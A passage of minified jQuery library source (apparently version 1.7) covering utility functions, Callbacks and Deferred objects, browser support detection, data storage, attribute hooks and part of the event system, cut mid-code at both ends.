a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g<h;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g<h;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?"":G.call(a)}:function(a){return a==null?"":(a+"").replace(k,"").replace(l,"")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d==="string"||d==="function"||d==="regexp"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c<0?Math.max(0,d+c):c:0;for(;c<d;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length=="number")for(var f=c.length;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b&&typeof j=="number"&&(j>0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i<j;i++)f=c(a[i],i,d),f!=null&&(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null&&(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c=="string"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c=="object"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h&&f&&e.isFunction(d);for(var k=0;k<i;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f&&f instanceof e&&!(f instanceof a)&&(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){I["[object "+b+"]"]=b.toLowerCase()}),z=e.uaMatch(y),z.browser&&(e.browser[z.browser]=!0,e.browser.version=z.version),e.browser.webkit&&(e.browser.safari=!0),j.test(" ")&&(k=/^[\s\xA0]+/,l=/[\s\xA0]+$/),h=e(c),c.addEventListener?B=function(){c.removeEventListener("DOMContentLoaded",B,!1),e.ready()}:c.attachEvent&&(B=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",B),e.ready())});return e}(),g={};f.Callbacks=function(a){a=a?g[a]||h(a):{};var c=[],d=[],e,i,j,k,l,m=function(b){var d,e,g,h,i;for(d=0,e=b.length;d<e;d++)g=b[d],h=f.type(g),h==="array"?m(g):h==="function"&&(!a.unique||!o.has(g))&&c.push(g)},n=function(b,f){f=f||[],e=!a.memory||[b,f],i=!0,l=j||0,j=0,k=c.length;for(;c&&l<k;l++)if(c[l].apply(b,f)===!1&&a.stopOnFalse){e=!0;break}i=!1,c&&(a.once?e===!0?o.disable():c=[]:d&&d.length&&(e=d.shift(),o.fireWith(e[0],e[1])))},o={add:function(){if(c){var a=c.length;m(arguments),i?k=c.length:e&&e!==!0&&(j=a,n(e[0],e[1]))}return this},remove:function(){if(c){var b=arguments,d=0,e=b.length;for(;d<e;d++)for(var f=0;f<c.length;f++)if(b[d]===c[f]){i&&f<=k&&(k--,f<=l&&l--),c.splice(f--,1);if(a.unique)break}}return this},has:function(a){if(c){var b=0,d=c.length;for(;b<d;b++)if(a===c[b])return!0}return!1},empty:function(){c=[];return this},disable:function(){c=d=e=b;return this},disabled:function(){return!c},lock:function(){d=b,(!e||e===!0)&&o.disable();return this},locked:function(){return!d},fireWith:function(b,c){d&&(i?a.once||d.push([b,c]):(!a.once||!e)&&n(b,c));return this},fire:function(){o.fireWith(this,arguments);return this},fired:function(){return!!e}};return o};var i=[].slice;f.extend({Deferred:function(a){var b=f.Callbacks("once memory"),c=f.Callbacks("once memory"),d=f.Callbacks("memory"),e="pending",g={resolve:b,reject:c,notify:d},h={done:b.add,fail:c.add,progress:d.add,state:function(){return e},isResolved:b.fired,isRejected:c.fired,then:function(a,b,c){i.done(a).fail(b).progress(c);return this},always:function(){i.done.apply(i,arguments).fail.apply(i,arguments);return this},pipe:function(a,b,c){return f.Deferred(function(d){f.each({done:[a,"resolve"],fail:[b,"reject"],progress:[c,"notify"]},function(a,b){var c=b[0],e=b[1],g;f.isFunction(c)?i[a](function(){g=c.apply(this,arguments),g&&f.isFunction(g.promise)?g.promise().then(d.resolve,d.reject,d.notify):d[e+"With"](this===i?d:this,[g])}):i[a](d[e])})}).promise()},promise:function(a){if(a==null)a=h;else for(var b in h)a[b]=h[b];return a}},i=h.promise({}),j;for(j in g)i[j]=g[j].fire,i[j+"With"]=g[j].fireWith;i.done(function(){e="resolved"},c.disable,d.lock).fail(function(){e="rejected"},b.disable,d.lock),a&&a.call(i,i);return i},when:function(a){function m(a){return function(b){e[a]=arguments.length>1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c<d;c++)b[c]&&b[c].promise&&f.isFunction(b[c].promise)?b[c].promise().then(l(c),j.reject,m(c)):--g;g||j.resolveWith(j,b)}else j!==a&&j.resolveWith(j,d?[a]:[]);return k}}),f.support=function(){var b,d,e,g,h,i,j,k,l,m,n,o,p,q=c.createElement("div"),r=c.documentElement;q.setAttribute("className","t"),q.innerHTML=" <link/><table></table><a href='/a' style='top:1px;float:left;opacity:.55;'>a</a><input type='checkbox'/>",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="<div "+n+"><div></div></div>"+"<table "+n+" cellpadding='0' cellspacing='0'>"+"<tr><td></td></tr></table>",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="<table><tr><td style='padding:0;border:0;display:none'></td><td>t</td></tr></table>",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="<div style='width:4px;'></div>",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h=null;if(typeof a=="undefined"){if(this.length){h=f.data(this[0]);if(this[0].nodeType===1&&!f._data(this[0],"parsedAttrs")){e=this[0].attributes;for(var i=0,j=e.length;i<j;i++)g=e[i].name,g.indexOf("data-")===0&&(g=f.camelCase(g.substring(5)),l(this[0],g,h[g]));f._data(this[0],"parsedAttrs",!0)}}return h}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split("."),d[1]=d[1]?"."+d[1]:"";if(c===b){h=this.triggerHandler("getData"+d[1]+"!",[d[0]]),h===b&&this.length&&(h=f.data(this[0],a),h=l(this[0],a,h));return h===b&&d[1]?this.data(d[0]):h}return this.each(function(){var b=f(this),e=[d[0],c];b.triggerHandler("setData"+d[1]+"!",e),f.data(this,a,c),b.triggerHandler("changeData"+d[1]+"!",e)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){typeof a!="string"&&(c=a,a="fx");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise()}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h<g;h++)e=d[h],e&&(c=f.propFix[e]||e,f.attr(a,e,""),a.removeAttribute(v?e:c),u.test(e)&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e&&!c.target.disabled&&(!c.button||c.type!=="click")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j<e;j++)r=d[j],s=r.selector,o[s]===b&&(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]&&q.push(r);q.length&&i.push({elem:l,matches:q})}}d.length>e&&i.push({elem:this,matches:d.slice(e)});for(j=0;j<i.length&&!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k<p.matches.length&&!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace&&!r.namespace||c.namespace_re&&c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b&&(c.result=n,n===!1&&(c.preventDefault(),c.stopPropagation()))}}return c.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" 